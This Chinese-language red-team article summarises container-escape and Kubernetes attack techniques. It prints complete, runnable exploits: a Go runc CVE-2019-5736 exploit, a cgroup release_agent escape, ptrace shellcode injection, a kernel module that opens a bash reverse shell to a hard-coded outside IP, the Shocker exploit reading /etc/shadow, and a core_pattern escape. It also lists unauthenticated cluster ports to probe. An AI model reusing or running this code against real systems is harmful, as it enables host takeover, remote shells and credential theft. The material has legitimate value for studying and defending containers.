九個(gè)容器環(huán)境安全紅隊(duì)常用手法總結(jié)
引言
隨著云原生的火熱,容器及容器編排平臺(tái)的安全也受到了行業(yè)關(guān)注,Gartner在近期發(fā)布的《K8s安全防護(hù)指導(dǎo)框架》中給出K8s安全的8個(gè)攻擊面,總結(jié)如下:
鏡像相關(guān):
1. 鏡像倉(cāng)庫(kù)安全
2. 容器鏡像安全
K8S組件相關(guān):
3.API Server
4.Controller Manager
5.Etcd
6.Kubelet
7.Kube-proxy
運(yùn)行時(shí)安全:
8.Pod內(nèi)攻擊
9.容器逃逸
我們針對(duì)其中常見的紅隊(duì)攻擊手法進(jìn)行了復(fù)現(xiàn)與總結(jié)。
一、概念簡(jiǎn)介
簡(jiǎn)單來(lái)說(shuō),容器是一種輕量級(jí)的應(yīng)用及其運(yùn)行環(huán)境打包技術(shù),還包含依賴項(xiàng),例如編程語(yǔ)⾔運(yùn)⾏時(shí)的特定版本和運(yùn)⾏軟件服務(wù)所需的庫(kù)。容器⽀持在操作系統(tǒng)級(jí)別輕松共享 CPU、內(nèi)存、存儲(chǔ)空間和⽹絡(luò)資源,并提供了⼀種邏輯打包機(jī)制,以這種機(jī)制打包的應(yīng)⽤可以脫離其實(shí)際運(yùn)⾏的環(huán)境。目前,Docker是使用最廣泛的一種容器技術(shù)。
在開發(fā)、運(yùn)維過(guò)程中,容器需要進(jìn)行部署、管理、擴(kuò)展和聯(lián)網(wǎng)等操作,這就引入了一個(gè)新的概念,容器的編排。
容器編排是指自動(dòng)化容器的部署、管理、擴(kuò)展和聯(lián)網(wǎng)。容器編排可以為需要部署和管理成百上千個(gè)容器和主機(jī)的企業(yè)提供便利。
容器編排可以在使用容器的任何環(huán)境中使用。這可以幫助在不同環(huán)境中部署相同的應(yīng)用,而無(wú)需重新設(shè)計(jì)。通過(guò)將微服務(wù)放入容器,就能更加輕松地編排各種服務(wù)(包括存儲(chǔ)、網(wǎng)絡(luò)和安全防護(hù))。
容器編排工具提供了用于大規(guī)模管理容器和微服務(wù)架構(gòu)的框架。容器生命周期的管理有許多容器編排工具可用。一些常見的方案包括:Kubernetes、Docker Swarm 和 Apache Mesos。其中,目前使用最廣的為 Kubernetes。
Kubernetes簡(jiǎn)稱K8S,是 Google于2014年開源的容器編排調(diào)度管理平臺(tái)。相比與Swarm、Mesos等平臺(tái)簡(jiǎn)化了容器調(diào)度與管理,是目前最流行的容器編排平臺(tái),K8S主要功能如下:
1)容器調(diào)度管理:基于調(diào)度算法與策略將容器調(diào)度到對(duì)應(yīng)的節(jié)點(diǎn)上運(yùn)行。
2)服務(wù)發(fā)現(xiàn)與負(fù)載均衡:通過(guò)域名、VIP對(duì)外提供容器服務(wù),提供訪問(wèn)流量負(fù)載均衡。
3)彈性擴(kuò)展:定義期待的容器狀態(tài)與資源,K8S自動(dòng)檢測(cè)、創(chuàng)建、刪除實(shí)例和配置以滿足要求。
4)自動(dòng)恢復(fù)與回滾:提供健康檢查,自動(dòng)重啟、遷移、替換或回滾運(yùn)行失敗或沒(méi)響應(yīng)的容器,保障服務(wù)可用性。
5)K8S對(duì)象管理:涉及應(yīng)用編排與管理、配置、秘鑰等、監(jiān)控與日志等。
6)資源管理:對(duì)容器使用的網(wǎng)絡(luò)、存儲(chǔ)、GPU等資源進(jìn)行管理。
二、容器安全機(jī)制
每個(gè)基礎(chǔ)軟件服務(wù)都存在安全風(fēng)險(xiǎn),容器也不例外,其自身為控制安全問(wèn)題的發(fā)生,有著自己的安全機(jī)制,在此以 Docker 為例,簡(jiǎn)單講述容器的安全機(jī)制。
Docker 根據(jù) Linux 系統(tǒng)的一些特性,引入了多種安全機(jī)制,包含 seccomp、capability、Apparmor等。
Seccomp
seccomp 是 Linux kernel 從2.6.23版本引入的一種簡(jiǎn)潔的 sandboxing 機(jī)制。
seccomp安全機(jī)制能使一個(gè)進(jìn)程進(jìn)入到一種“安全”運(yùn)行模式,該模式下的進(jìn)程只能調(diào)用4種系統(tǒng)調(diào)用(system call),即 read(), write(), exit() 和 sigreturn(),否則進(jìn)程便會(huì)被終止。
Seccomp 簡(jiǎn)單來(lái)說(shuō)就是一個(gè)白名單,每個(gè)進(jìn)程進(jìn)行系統(tǒng)調(diào)用的時(shí)候,內(nèi)核都會(huì)檢查對(duì)應(yīng)的白名單來(lái)確認(rèn)該進(jìn)程是否有權(quán)限使用這個(gè)系統(tǒng)調(diào)用。
Linux capability
Capability 機(jī)制是 Linux 內(nèi)核 2.2 之后引入的。本質(zhì)上是將 root 用戶的權(quán)限細(xì)分為不同的領(lǐng)域,可以分別的啟用或者禁用。Docker 默認(rèn)開啟了14種capability,對(duì)容器內(nèi)部 root權(quán)限進(jìn)行了一系列限制。
Apparmor
AppArmor 是 Linux 內(nèi)核的一個(gè)安全模塊,通過(guò)它可以指定程序是否可以讀、寫或者運(yùn)行哪些文件,是否可以打開網(wǎng)絡(luò)端口等。若可執(zhí)行文件的路徑為 /home/ubuntu/run,使用 Apparmor 對(duì)其進(jìn)行訪問(wèn)控制,需要在配置文件目錄 /etc/apparmor.d 下新建一個(gè)名為 home.ubuntu.run 的文件,若修改 run 的文件名,配置文件將失效。
三、Docker安全問(wèn)題與逃逸漏洞復(fù)現(xiàn)
盡管Docker本身具備Seccomp、Capability、Apparmor等Linux自帶的安全機(jī)制,但仍存在Linux內(nèi)核漏洞、Docker漏洞以及配置不當(dāng)?shù)劝踩珕?wèn)題。
1. Linux 內(nèi)核漏洞
(1)原理
容器的內(nèi)核與宿主內(nèi)核共享,使⽤Namespace與Cgroups這兩項(xiàng)技術(shù),使容器內(nèi)的資源與宿主機(jī)隔離,所以Linux內(nèi)核產(chǎn)⽣的漏洞能導(dǎo)致容器逃逸。
容器逃逸和內(nèi)核提權(quán)只有細(xì)微的差別,需要突破namespace的限制。將⾼權(quán)限的namespace賦到exploit進(jìn)程的task_struct中。
容器逃逸簡(jiǎn)易模型
(2)Dirty Cow 引發(fā)的容器逃逸
在Linux內(nèi)核的內(nèi)存⼦系統(tǒng)處理私有只讀內(nèi)存映射的寫時(shí)復(fù)制(Copy-on-Write,CoW)機(jī)制的⽅式中發(fā)現(xiàn)了⼀個(gè)競(jìng)爭(zhēng)沖突。⼀個(gè)沒(méi)有特權(quán)的本地⽤⼾,可能會(huì)利⽤此漏洞獲得對(duì)其他情況下只讀內(nèi)存映射的寫訪問(wèn)權(quán)限,從⽽增加他們?cè)谙到y(tǒng)上的特權(quán),這就是知名的Dirty CoW漏洞。
Dirty CoW 漏洞的逃逸的實(shí)現(xiàn)思路和上述的思路不太⼀樣,采取Overwrite vDSO技術(shù)。
vDSO(Virtual Dynamic Shared Object)是內(nèi)核為了減少內(nèi)核與⽤⼾空間頻繁切換,提⾼系統(tǒng)調(diào)⽤效率⽽設(shè)計(jì)的機(jī)制。它同時(shí)映射在內(nèi)核空間以及每⼀個(gè)進(jìn)程的虛擬內(nèi)存中,包括那些以root權(quán)限運(yùn)⾏的進(jìn)程。通過(guò)調(diào)⽤那些不需要上下⽂切換(context switching)的系統(tǒng)調(diào)⽤可以加快這⼀步驟(定位vDSO)。vDSO在用戶空間(userspace)映射為R/X,⽽在內(nèi)核空間(kernelspace)則為R/W。這允許我們?cè)趦?nèi)核空間修改它,接著在用戶空間執(zhí)⾏。⼜因?yàn)槿萜髋c宿主機(jī)內(nèi)核共享,所以可以直接使⽤這項(xiàng)技術(shù)逃逸容器。
利⽤步驟如下:
1. 獲取vDSO地址,在新版的glibc中可以直接調(diào)⽤getauxval()函數(shù)獲??;
2. 通過(guò)vDSO地址找到clock_gettime()函數(shù)地址,檢查是否可以hijack;
3. 創(chuàng)建監(jiān)聽socket;
4. 觸發(fā)漏洞,Dirty CoW是由于內(nèi)核內(nèi)存管理系統(tǒng)實(shí)現(xiàn)CoW時(shí)產(chǎn)⽣的漏洞。通過(guò)條件競(jìng)爭(zhēng),把握好在恰當(dāng)?shù)臅r(shí)機(jī),利⽤ CoW 的特性可以將⽂件的read-only映射該為write。⼦進(jìn)程不停地檢查是否成功寫⼊。⽗進(jìn)程創(chuàng)建⼆個(gè)線程,ptrace_thread線程向vDSO寫⼊shellcode。madvise_thread線程釋放vDSO映射空間,影響ptrace_thread線程CoW的過(guò)程,產(chǎn)⽣條件競(jìng)爭(zhēng),當(dāng)條件觸發(fā)就能寫⼊成功。
5. 執(zhí)⾏shellcode,等待從宿主機(jī)返回root shell,成功后恢復(fù)vDSO原始數(shù)據(jù)。
https://github.com/scumjr/dirtycow-vdso
2. Docker 漏洞
Docker 軟件架構(gòu)分為四個(gè)部分,集成許多組件,包括containerd、runc等等。
Docker Client是Docker的客戶端程序,用于將用戶請(qǐng)求發(fā)送給Dockerd。Dockerd 實(shí)際調(diào)用的是 containerd 的API接口,containerd 是 Dockerd 和 runc 之間的一個(gè)中間交流組件,主要負(fù)責(zé)容器運(yùn)行、鏡像管理等。containerd 向上為 Dockerd 提供了 gRPC 接口,使得 Dockerd 屏蔽下面的結(jié)構(gòu)變化,確保原有接口向下兼容;向下,通過(guò) containerd-shim 與 runc 結(jié)合創(chuàng)建及運(yùn)行容器。
所以,若這些組件存在問(wèn)題,也會(huì)帶來(lái) Docker 的安全問(wèn)題。
1.CVE-2019-5736:runc - container breakout vulnerability
漏洞原理
runc 在使用文件系統(tǒng)描述符時(shí)存在漏洞,該漏洞可導(dǎo)致特權(quán)容器被利用,造成容器逃逸以及訪問(wèn)宿主機(jī)文件系統(tǒng);攻擊者也可以使用惡意鏡像,或修改運(yùn)行中的容器內(nèi)的配置來(lái)利用此漏洞。
攻擊方式1:(該途徑無(wú)需特權(quán)容器)運(yùn)行中的容器被入侵,系統(tǒng)文件被惡意篡改 ==> 宿主機(jī)運(yùn)行docker exec命令,在該容器中創(chuàng)建新進(jìn)程 ==> 宿主機(jī)runc被替換為惡意程序 ==> 宿主機(jī)執(zhí)行docker run/exec 命令時(shí)觸發(fā)執(zhí)行惡意程序;
攻擊方式2:(該途徑無(wú)需特權(quán)容器)docker run命令啟動(dòng)了被惡意修改的鏡像 ==> 宿主機(jī)runc被替換為惡意程序 ==> 宿主機(jī)運(yùn)行docker run/exec命令時(shí)觸發(fā)執(zhí)行惡意程序。
當(dāng)runc在容器內(nèi)執(zhí)行新的程序時(shí),攻擊者可以欺騙它執(zhí)行惡意程序。通過(guò)使用自定義二進(jìn)制文件替換容器內(nèi)的目標(biāo)二進(jìn)制文件來(lái)實(shí)現(xiàn)指回 runc 二進(jìn)制文件。
如果目標(biāo)二進(jìn)制文件是 /bin/bash,可以用指定解釋器的可執(zhí)行腳本替換 #!/proc/self/exe。因此,在容器內(nèi)執(zhí)行 /bin/bash,/proc/self/exe 的目標(biāo)將被執(zhí)行,將目標(biāo)指向 runc 二進(jìn)制文件。
然后攻擊者可以繼續(xù)寫入 /proc/self/exe 目標(biāo),嘗試覆蓋主機(jī)上的 runc 二進(jìn)制文件。這里需要使用 O_PATH flag打開 /proc/self/exe 文件描述符,然后以 O_WRONLY flag 通過(guò)/proc/self/fd/重新打開二進(jìn)制文件,并且用單獨(dú)的一個(gè)進(jìn)程不停地寫入。當(dāng)寫入成功時(shí),runc會(huì)退出。
影響版本
docker version <=18.09.2 && RunC version <=1.0-rc6
漏洞利用
P.S. 該漏洞會(huì)替換原本主機(jī) runc 文件,造成 Docker 服務(wù)不可用,需要引導(dǎo)被攻擊人使用 exec 去執(zhí)行/bin/sh 或者想要的任何操作。
- package main
- import (
- "fmt"
- "io/ioutil"
- "os"
- "strconv"
- "strings"
- )
- // This is the line of shell commands that will execute on the host
- var payload = "#!/bin/bash \n bash -i >& /dev/tcp/0.0.0.0/1234 0>&1"
- func main() {
- // First we overwrite /bin/sh with the /proc/self/exe interpreter path
- fd, err := os.Create("/bin/sh")
- if err != nil {
- fmt.Println(err)
- return
- }
- fmt.Fprintln(fd, "#!/proc/self/exe")
- err = fd.Close()
- if err != nil {
- fmt.Println(err)
- return
- }
- fmt.Println("[+] Overwritten /bin/sh successfully")
- // Loop through all processes to find one whose cmdline includes runcinit
- // This will be the process created by runc
- var found int
- for found == 0 {
- pids, err := ioutil.ReadDir("/proc")
- if err != nil {
- fmt.Println(err)
- return
- }
- for _, f := range pids {
- fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
- fstring := string(fbytes)
- if strings.Contains(fstring, "runc") {
- fmt.Println("[+] Found the PID:", f.Name())
- found, err = strconv.Atoi(f.Name())
- if err != nil {
- fmt.Println(err)
- return
- }
- }
- }
- }
- // We will use the pid to get a file handle for runc on the host.
- var handleFd = -1
- for handleFd == -1 {
- // Note, you do not need to use the O_PATH flag for the exploit to work.
- handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
- if int(handle.Fd()) > 0 {
- handleFd = int(handle.Fd())
- }
- }
- fmt.Println("[+] Successfully got the file handle")
- // Now that we have the file handle, lets write to the runc binary and overwrite it
- // It will maintain it's executable flag
- for {
- writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
- if int(writeHandle.Fd()) > 0 {
- fmt.Println("[+] Successfully got write handle", writeHandle)
- writeHandle.Write([]byte(payload))
- return
- }
- }
- }
2.CVE-2019-14271:docker cp
vulnerability
漏洞原理
docker cp的邏輯漏洞導(dǎo)致宿主機(jī)進(jìn)程會(huì)使用容器的 so 庫(kù),而容器的 so 庫(kù)我們目前是可控的,我們可以編譯一個(gè)惡意so庫(kù)對(duì)原生的鏡像庫(kù)進(jìn)行替換,使宿主進(jìn)程調(diào)用惡意so庫(kù)過(guò)程中執(zhí)行攻擊者定義的危險(xiǎn)代碼。尋找到 libnss_files.so.2 的源碼,在其中加入鏈接時(shí)啟動(dòng)代碼(run_at_link),并定義執(zhí)行函數(shù),之后對(duì)其進(jìn)行編譯,將新生成的libnss_files.so.2送往容器中觸發(fā)惡意指令。
影響版本
影響版本只有docker 19.03.0(包含幾個(gè)beta版),19.03.1以上以及18.09以下都不受影響。
3.CVE-2020-15257:docker-containerd --network=host breakout vulnerability
漏洞原理
該漏洞是由在特定網(wǎng)絡(luò)環(huán)境下Docker容器內(nèi)部可以訪問(wèn)宿主機(jī)的containerdAPI引起的。containerd在操作runC時(shí),會(huì)創(chuàng)建相應(yīng)進(jìn)程并生成一個(gè)抽象socket,docker通過(guò)該socket與容器進(jìn)行控制與通信。該socket可以在宿主機(jī)的/proc/net/unix文件中查找到,當(dāng)Docker容器內(nèi)部共享了宿主機(jī)的網(wǎng)絡(luò)時(shí),便可通過(guò)加載該socket,來(lái)控制Docker容器,引發(fā)逃逸。
漏洞利用
https://github.com/ZhuriLab/Exploits/tree/master/cve-2020-15257
3.配置不當(dāng)
1.Docker API 暴露
docker -H tcp://0.0.0.0:2375 去訪問(wèn)創(chuàng)建等,或者使用 UI
2.特權(quán)容器
特權(quán)容器意味著擁有所有的 Capability,即與宿主機(jī) ROOT 權(quán)限一致,特權(quán)容器逃逸方法有很多。例如,通過(guò)掛載硬盤逃逸:
● fdisk -l
● mount xxx /mnt
3.Capability 權(quán)限過(guò)大
查看 Docker 所擁有的 Capability
cat /proc/1/status | grep Cap
capsh --decode=00000000a80425fb
① 擁有 SYS_ADMIN 權(quán)限
通過(guò) cgroup 進(jìn)行逃逸,需要--security-opt apparmor=unconfined
- # In the container
- mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
- echo 1 > /tmp/cgrp/x/notify_on_release
- host_path=/var/lib/docker/overlay2/e1665b79172f92e72f785c4f1e22f517c5b737ddd8c75504442fbc85f4a13619/diff
- echo "/var/lib/docker/overlay2/e1665b79172f92e72f785c4f1e22f517c5b737ddd8c75504442fbc85f4a13619/diff/cmd" > /tmp
- /cgrp/release_agent
- echo '#!/bin/sh' > /cmd
- echo "bash -c 'bash -i >& /dev/tcp/0.0.0.0/1234 0>&1'" >> /cmd
- chmod a+x /cmd
- sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
② 擁有SYS_PTRACE 權(quán)限
進(jìn)程注入引發(fā)逃逸,需要 --pid=host 以及--security-opt apparmor=unconfined
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <stdint.h>
- #include <sys/ptrace.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <unistd.h>
- #include <sys/user.h>
- #include <sys/reg.h>
- #define SHELLCODE_SIZE 0
- unsigned char *shellcode =
- "";
- int inject_data (pid_t pid, unsigned char *src, void *dst, int len)
- {
- int i;
- uint32_t *s = (uint32_t *) src;
- uint32_t *d = (uint32_t *) dst;
- for (i = 0; i < len; i+=4, s++, d++)
- {
- if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
- {
- perror ("ptrace(POKETEXT):");
- return -1;
- }
- }
- return 0;
- }
- int main (int argc, char *argv[])
- {
- pid_t target;
- struct user_regs_struct regs;
- int syscall;
- long dst;
- if (argc != 2)
- {
- fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
- exit (1);
- }
- target = atoi (argv[1]);
- printf ("+ Tracing process %d\n", target);
- if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
- {
- perror ("ptrace(ATTACH):");
- exit (1);
- }
- printf ("+ Waiting for process...\n");
- wait (NULL);
- printf ("+ Getting Registers\n");
- if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
- {
- perror ("ptrace(GETREGS):");
- exit (1);
- }
- /* Inject code into current RPI position */
- printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
- inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
- regs.rip += 2;
- printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
- if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
- {
- perror ("ptrace(GETREGS):");
- exit (1);
- }
- printf ("+ Run it!\n");
- if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
- {
- perror ("ptrace(DETACH):");
- exit (1);
- }
- return 0;
- }
③ 擁有SYS_MODULE 權(quán)限
加載內(nèi)核模塊直接逃逸
- #include <linux/module.h> /* Needed by all modules */
- #include <linux/kernel.h> /* Needed for KERN_INFO */
- #include <linux/init.h> /* Needed for the macros */
- #include <linux/sched/signal.h>
- #include <linux/nsproxy.h>
- #include <linux/proc_ns.h>
- ///< The license type -- this affects runtime behavior
- MODULE_LICENSE("GPL");
- ///< The author -- visible when you use modinfo
- MODULE_AUTHOR("Nimrod Stoler");
- ///< The description -- see modinfo
- MODULE_DESCRIPTION("NS Escape LKM");
- ///< The version of the module
- MODULE_VERSION("0.1");
- static int __init escape_start(void)
- {
- int rc;
- static char *envp[] = {
- "SHELL=/bin/bash",
- "HOME=/home/cyberark",
- "USER=cyberark",
- "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin",
- "DISPLAY=:0",
- NULL};
- char *argv[] = {"/bin/bash","-c", "bash -i >& /dev/tcp/106.55.159.102/9999 0>&1", NULL};
- rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
- printk("RC is: %i \n", rc);
- return 0;
- }
- static void __exit escape_end(void)
- {
- printk(KERN_EMERG "Goodbye!\n");
- }
- module_init(escape_start);
- module_exit(escape_end);
- -----------------------
- ifneq ($(KERNELRELEASE),)
- obj-m :=exp.o
- else
- KDIR :=/lib/modules/$(shell uname -r)/build
- all:
- make -C $(KDIR) M=$(PWD) modules
- clean:
- rm -f *.ko *.o *.mod.o *.mod.c *.symvers *.order
- endif
4.dac_read_search
Shocker攻擊
- #define _GNU_SOURCE
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <dirent.h>
- #include <stdint.h>
- struct my_file_handle
- {
- unsigned int handle_bytes;
- int handle_type;
- unsigned char f_handle[8];
- };
- void die(const char *msg)
- {
- perror(msg);
- exit(errno);
- }
- void dump_handle(const struct my_file_handle *h)
- {
- fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h->handle_bytes,
- h->handle_type);
- for (int i = 0; i < h->handle_bytes; ++i)
- {
- fprintf(stderr, "0x%02x", h->f_handle[i]);
- if ((i + 1) % 20 == 0)
- fprintf(stderr, "\n");
- if (i < h->handle_bytes - 1)
- fprintf(stderr, ", ");
- }
- fprintf(stderr, "};\n");
- }
- int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
- {
- int fd;
- uint32_t ino = 0;
- struct my_file_handle outh = {
- .handle_bytes = 8,
- .handle_type = 1};
- DIR *dir = NULL;
- struct dirent *de = NULL;
- path = strchr(path, '/');
- // recursion stops if path has been resolved
- if (!path)
- {
- memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
- oh->handle_type = 1;
- oh->handle_bytes = 8;
- return 1;
- }
- ++path;
- fprintf(stderr, "[*] Resolving '%s'\n", path);
- if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
- die("[-] open_by_handle_at");
- if ((dir = fdopendir(fd)) == NULL)
- die("[-] fdopendir");
- for (;;)
- {
- de = readdir(dir);
- if (!de)
- break;
- fprintf(stderr, "[*] Found %s\n", de->d_name);
- if (strncmp(de->d_name, path, strlen(de->d_name)) == 0)
- {
- fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
- ino = de->d_ino;
- break;
- }
- }
- fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
- if (de)
- {
- for (uint32_t i = 0; i < 0xffffffff; ++i)
- {
- outh.handle_bytes = 8;
- outh.handle_type = 1;
- memcpy(outh.f_handle, &ino, sizeof(ino));
- memcpy(outh.f_handle + 4, &i, sizeof(i));
- if ((i % (1 << 20)) == 0)
- fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
- if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0)
- {
- closedir(dir);
- close(fd);
- dump_handle(&outh);
- return find_handle(bfd, path, &outh, oh);
- }
- }
- }
- closedir(dir);
- close(fd);
- return 0;
- }
- int main()
- {
- char buf[0x1000];
- int fd1, fd2;
- struct my_file_handle h;
- struct my_file_handle root_h = {
- .handle_bytes = 8,
- .handle_type = 1,
- .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}};
- fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
- "[***] The tea from the 90's kicks your sekurity again. [***]\n"
- "[***] If you have pending sec consulting, I'll happily [***]\n"
- "[***] forward to my friends who drink secury-tea too! [***]\n");
- // get a FS reference from something mounted in from outside
- if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
- die("[-] open");
- if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
- die("[-] Cannot find valid handle!");
- fprintf(stderr, "[!] Got a final handle!\n");
- dump_handle(&h);
- if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
- die("[-] open_by_handle");
- memset(buf, 0, sizeof(buf));
- if (read(fd2, buf, sizeof(buf) - 1) < 0)
- die("[-] read");
- fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
- close(fd2);
- close(fd1);
- return 0;
- }
5.其他
通過(guò)內(nèi)核漏洞進(jìn)行逃逸時(shí),有可能存在有些系統(tǒng)調(diào)用被禁用而使漏洞無(wú)法復(fù)現(xiàn)的情況,當(dāng)一些 Capability 被賦予時(shí)可以使得原先不能在容器內(nèi)使用的 kernel 漏洞可以使用,例如:
特殊目錄被掛載至 Docker 內(nèi)部引發(fā)逃逸
當(dāng)例如宿主機(jī)的內(nèi)的 /, /etc/, /root/.ssh 等目錄的寫權(quán)限被掛載進(jìn)容器時(shí),在容器內(nèi)部可以修改宿主機(jī)內(nèi)的 /etc/crontab、/root/.ssh/、/root/.bashrc 等文件執(zhí)行任意命令,就可以導(dǎo)致容器逃逸。
① Docker in Docker
其中一個(gè)比較特殊且常見的場(chǎng)景是當(dāng)宿主機(jī)的 /var/run/docker.sock 被掛載容器內(nèi)的時(shí)候,容器內(nèi)就可以通過(guò) docker.sock 在宿主機(jī)里創(chuàng)建任意配置的容器,此時(shí)可以理解為可以創(chuàng)建任意權(quán)限的進(jìn)程,當(dāng)然也可以控制任意正在運(yùn)行的容器。
使用 golang 去調(diào)用 unix://docker socket,去創(chuàng)建新的 Docker。
② 掛載了主機(jī) /proc 目錄
●從 mount 信息中找出宿主機(jī)內(nèi)對(duì)應(yīng)當(dāng)前容器內(nèi)部文件結(jié)構(gòu)的路徑。
- sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
●因?yàn)樗拗鳈C(jī)內(nèi)的 /proc 文件被掛載到了容器內(nèi)的 /host_proc 目錄,所以我們修改 /host_proc/sys/kernel/core_pattern 文件以達(dá)到修改宿主機(jī) /proc/sys/kernel/core_pattern 的目的。
- echo -e “|/var/lib/docker/overlay2/a1a1e60a9967d6497f22f5df21b185708403e2af22eab44cfc2de05ff8ae115f/diff/exp.sh \rcore “ > /host_proc/sys/kernel/core_pattern
●需要一個(gè)程序在容器里執(zhí)行并觸發(fā) segmentation fault 使植入的 payload 即 exp.sh 在宿主機(jī)執(zhí)行。
- #include <stdio.h>
- int main() {
- int *a = NULL;
- *a = 1;
- return 0;
- }
四、K8s安全問(wèn)題與漏洞復(fù)現(xiàn)
K8S 作為使用最多的容器編排軟件,一些錯(cuò)誤的配置會(huì)引發(fā)很多安全問(wèn)題,使得集群失陷。
1.利用大權(quán)限的 Service Account 逃逸
使用Kubernetes做容器編排的話,在POD啟動(dòng)時(shí),Kubernetes會(huì)默認(rèn)為容器掛載一個(gè) Service Account 證書。同時(shí),默認(rèn)情況下Kubernetes會(huì)創(chuàng)建一個(gè)特有的 Service 用來(lái)指向 ApiServer。
有了這兩個(gè)條件,我們就擁有了在容器內(nèi)直接和APIServer通信和交互的方式。
類似 Docker 中 capability 的賦予,在創(chuàng)建 pod 時(shí)制定使用已經(jīng)給了特定權(quán)限的 SA,然后可以通過(guò) kubectl 去進(jìn)行一些列操作。
● kubectl edit sa sa-name -n namespace //
● kubectl create -f pod.yaml // sa pod
● ./kubectl .
2. 容器組件未鑒權(quán)
● kube-apiserver: 6443, 8080
● kubectl proxy: 8080, 8081
● kubelet: 10250, 10255, 4149
● dashboard: 30000
● docker api: 2375
● etcd: 2379, 2380
● kube-controller-manager: 10252
● kube-proxy: 10256, 31442
● kube-scheduler: 10251
● weave: 6781, 6782, 6783
● kubeflow-dashboard: 8080
1.組件分工
① 用戶與 kubectl 或者 Kubernetes Dashboard 進(jìn)行交互,提交需求。(例: kubectl create -f pod.yaml)
② kubectl 會(huì)讀取 ~/.kube/config 配置,并與 apiserver 進(jìn)行交互,協(xié)議:http/https
③ apiserver 會(huì)協(xié)同 ETCD 等組件準(zhǔn)備下發(fā)新建容器的配置給到節(jié)點(diǎn),協(xié)議:http/https(除 ETCD 外還有例如 kube-controller-manager,
④ scheduler等組件用于規(guī)劃容器資源和容器編排方向)
⑤ apiserver 與 kubelet 進(jìn)行交互,告知其容器創(chuàng)建的需求,協(xié)議:http/https
⑥ kubelet 與Docker等容器引擎進(jìn)行交互,創(chuàng)建容器,協(xié)議:http/unix socket
2.API Server
默認(rèn)情況下,apiserver 都是有鑒權(quán)的
但也有未鑒權(quán)的配置,此時(shí)請(qǐng)求接口的結(jié)果如下:
對(duì)于這類的未鑒權(quán)的設(shè)置來(lái)說(shuō),訪問(wèn)到 apiserver 一般情況下就獲取了集群的權(quán)限
3.Kubelet
每一個(gè)Node節(jié)點(diǎn)都有一個(gè)kubelet服務(wù),kubelet監(jiān)聽了10250,10248,10255等端口。
其中10250端口是kubelet與apiserver進(jìn)行通信的主要端口,通過(guò)該端口kubelet可以知道自己當(dāng)前應(yīng)該處理的任務(wù),該端口在最新版Kubernetes是有鑒權(quán)的,但在開啟了接受匿名請(qǐng)求的情況下,不帶鑒權(quán)信息的請(qǐng)求也可以使用10250提供的能力。
在新版本Kubernetes中當(dāng)使用以下配置打開匿名訪問(wèn)時(shí)便可能存在kubelet未授權(quán)訪問(wèn)漏洞:
執(zhí)行命令
4.Dashboard
dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面,在Kubernetes配置不當(dāng)導(dǎo)致dashboard未授權(quán)訪問(wèn)漏洞的情況下,通過(guò)dashboard我們可以控制整個(gè)集群。
在dashboard中默認(rèn)是存在鑒權(quán)機(jī)制的,用戶可以通過(guò)kubeconfig或者Token兩種方式登錄,當(dāng)用戶開啟了enable-skip-login時(shí)可以在登錄界面點(diǎn)擊Skip跳過(guò)登錄進(jìn)入dashboard。
然而通過(guò)點(diǎn)擊Skip進(jìn)入dashboard默認(rèn)是沒(méi)有操作集群的權(quán)限的,因?yàn)镵ubernetes使用RBAC(Role-based access control)機(jī)制進(jìn)行身份認(rèn)證和權(quán)限管理,不同的serviceaccount擁有不同的集群權(quán)限。
我們點(diǎn)擊Skip進(jìn)入dashboard實(shí)際上使用的是Kubernetes-dashboard這個(gè)ServiceAccount,如果此時(shí)該ServiceAccount沒(méi)有配置特殊的權(quán)限,是默認(rèn)沒(méi)有辦法達(dá)到控制集群任意功能的程度的。
但有些開發(fā)者為了方便或者在測(cè)試環(huán)境中會(huì)為Kubernetes-dashboard綁定cluster-admin這個(gè)ClusterRole(cluster-admin擁有管理集群的最高權(quán)限)。
5.etcd
etcd 被廣泛用于存儲(chǔ)分布式系統(tǒng)或機(jī)器集群數(shù)據(jù),其默認(rèn)監(jiān)聽了2379等端口,如果2379端口暴露,可能造成敏感信息泄露。
